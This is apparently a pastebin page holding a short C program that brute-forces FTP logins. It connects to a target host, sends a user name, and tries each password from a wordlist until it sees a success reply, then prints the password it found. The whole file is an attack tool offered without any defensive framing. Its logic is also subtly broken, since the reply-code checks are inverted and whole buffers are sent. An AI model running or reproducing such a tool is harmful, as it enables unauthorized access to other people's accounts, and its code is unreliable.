Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Sep 24th, 2012  |  syntax: C  |  size: 2.70 KB  |  hits: 27  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <sys/types.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11.  
  12. int
  13. ftp_connect(char *ip, int port)
  14. {
  15.         int sock;
  16.         struct sockaddr_in client;
  17.        
  18.         client.sin_family = AF_INET;
  19.         client.sin_port = htons(port);
  20.         client.sin_addr.s_addr = inet_addr(ip);
  21.        
  22.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  23.         {
  24.             perror("Creating socket file: ");
  25.             return EXIT_FAILURE;
  26.         }
  27.        
  28.         if((connect(sock, (struct sockaddr*) &client, sizeof(client))) == -1)
  29.         {
  30.             printf("Connection to %s failed.", ip);
  31.             return EXIT_FAILURE;
  32.         }
  33.  
  34.     printf("[+] Connected to %s\n", ip);
  35.    
  36.     return sock;
  37. }
  38.  
  39. int
  40. ftp_login(int sock, char *user)
  41. {
  42.     char request[515];
  43.     char server_msg[515];
  44.    
  45.     snprintf(request, sizeof(request), "USER %s\r\n", user);
  46.     if((send(sock, request, sizeof(request), 0)) == -1)
  47.     {
  48.         printf("Request sending fail.");
  49.         return -1;
  50.     }
  51.    
  52.     recv(sock, server_msg, sizeof(server_msg), 0);
  53.     if(strncmp(server_msg, "331", 3))
  54.         printf("[+] USER... Ok");
  55.     else
  56.     {
  57.         printf("Bad USER");
  58.         return -1;
  59.     }
  60.    
  61.     return 0;
  62. }
  63.  
  64. void
  65. brute_force(char *ip, int port, char *user, char *file_source)
  66. {
  67.     FILE *wordlist;
  68.     char request[515];
  69.     char password[515];
  70.     char server_request[515] = {0};
  71.     int sock;
  72.     int key = 0;
  73.    
  74.     while(key != 1)
  75.     {
  76.        
  77.         if((wordlist = fopen(file_source, "r")) == NULL)
  78.             printf("Can't open %s", file_source);
  79.         while(fgets(password, sizeof(password), wordlist) != NULL)
  80.         {
  81.                 sock = ftp_connect(ip, port);
  82.                 if(ftp_login(sock, user) == 0)
  83.                 {      
  84.                         printf("\nPass test: %s", password);
  85.                         snprintf(request, sizeof(request), "PASS %s\r\n", password);
  86.                 if((send(sock, request, sizeof(request), 0)) == -1)
  87.                     perror("Password sending fail.");
  88.                         recv(sock, server_request, sizeof(server_request), 0);
  89.                 if(strncmp(server_request, "230", 3))
  90.                 {
  91.                         close(sock);
  92.                     fclose(wordlist);
  93.                     printf("PASSWORD: %s\nGOOD BYE\n", password);
  94.                     key = 1;
  95.                 }
  96.                 }      
  97.         }      
  98.         key = 1;
  99.         close(sock);
  100.     }  
  101.        
  102.     fclose(wordlist);
  103.    
  104.     printf("Sorry, no password ..");
  105. }
  106.  
  107. int
  108. main(int argc, char **argv)
  109. {
  110.     if(argc != 5)
  111.         printf("Syntax: %s IP_HOST PORT USER WORDLIST\n", argv[0]);
  112.    
  113.     brute_force(argv[1], atoi(argv[2]), argv[3], argv[4]);
  114.     return EXIT_SUCCESS;
  115. }